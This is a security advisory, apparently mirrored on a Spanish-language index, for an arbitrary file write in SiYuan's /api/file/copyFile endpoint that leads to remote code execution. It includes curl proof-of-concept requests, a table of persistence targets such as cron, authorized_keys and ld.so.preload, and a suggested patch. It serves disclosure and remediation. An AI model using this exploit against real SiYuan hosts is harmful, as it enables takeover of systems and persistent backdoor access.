GHSA-C4JR-5Q7W-F6R9
SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-C4JR-5Q7W-F6R9 divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice |
Summary
The `/api/file/copyFile` endpoint does not validate the `dest` parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files.
- Affected Version: 3.5.3 (and likely all prior versions)
Details
- Type: Improper Limitation of a Pathname to a Restricted Directory (CWE-22)
- Location: `kernel/api/file.go` - copyFile function
// kernel/api/file.go lines 94-139
func copyFile(c *gin.Context) {
// ...
src := arg["src"].(string)
src, err := model.GetAssetAbsPath(src) // src is validated
// ...
dest := arg["dest"].(string) // dest is NOT validated!
if err = filelock.Copy(src, dest); err != nil {
// ...
}
}The `src` parameter is properly validated via `model.GetAssetAbsPath()`, but the `dest` parameter accepts any absolute path without validation, allowing files to be written outside the workspace directory.
PoC
Step 1: Upload malicious content to workspace
curl -X POST "http://target:6806/api/file/putFile" \
-H "Authorization: Token <API_TOKEN>" \
-F "path=/data/assets/malicious.sh" \
-F "file=@-;filename=malicious.sh" <<< '#!/bin/sh
id > /tmp/pwned.txt
hostname >> /tmp/pwned.txt'Step 2: Copy to arbitrary location (e.g., /tmp)
curl -X POST "http://target:6806/api/file/copyFile" \
-H "Authorization: Token <API_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'Response: `{"code":0,"msg":"","data":null}`
Step 3: Verify file was written outside workspace
cat /tmp/malicious.sh
# Output: #!/bin/sh
# id > /tmp/pwned.txt
# hostname >> /tmp/pwned.txtAttack Scenarios
| Target Path | Impact |
|-------------|--------|
| `/etc/cron.d/backdoor` | Scheduled command execution (RCE) |
| `~/.ssh/authorized_keys` | Persistent SSH access |
| `~/.bashrc` | Command execution on user login |
| `/etc/ld.so.preload` | Shared library injection |
RCE Demonstration
RCE was successfully demonstrated by writing a script and executing it:
# Write script to /tmp
curl -X POST "http://target:6806/api/file/copyFile" \
-H "Authorization: Token <API_TOKEN>" \
-d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'
# Execute (simulating cron or login trigger)
sh /tmp/malicious.sh
# Result
cat /tmp/pwned.txt
# uid=0(root) gid=0(root) groups=0(root)...Impact
An authenticated attacker (with API Token) can:
1. Achieve Remote Code Execution with the privileges of the SiYuan process
2. Establish persistent backdoor access via SSH keys
3. Compromise the entire host system
4. Access sensitive data on the same network (lateral movement)
Suggested Fix
Add path validation to ensure `dest` is within the workspace directory:
func copyFile(c *gin.Context) {
// ...
dest := arg["dest"].(string)
// Add validation
if !util.IsSubPath(util.WorkspaceDir, dest) {
ret.Code = -1
ret.Msg = "dest path must be within workspace"
return
}
if err = filelock.Copy(src, dest); err != nil {
// ...
}
}Solution
d7f790755edf8c78d2b4176171e5a0cdcd720feb
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/siyuan-note/siyuan/kernel |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-25539https://github.com/siyuan-note/siyuan/security/advisories/GHSA-c4jr-5q7w-f6r9https://github.com/siyuan-note/siyuan/commit/d7f790755edf8c78d2b4176171e5a0cdcd720febhttps://github.com/siyuan-note/siyuanLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
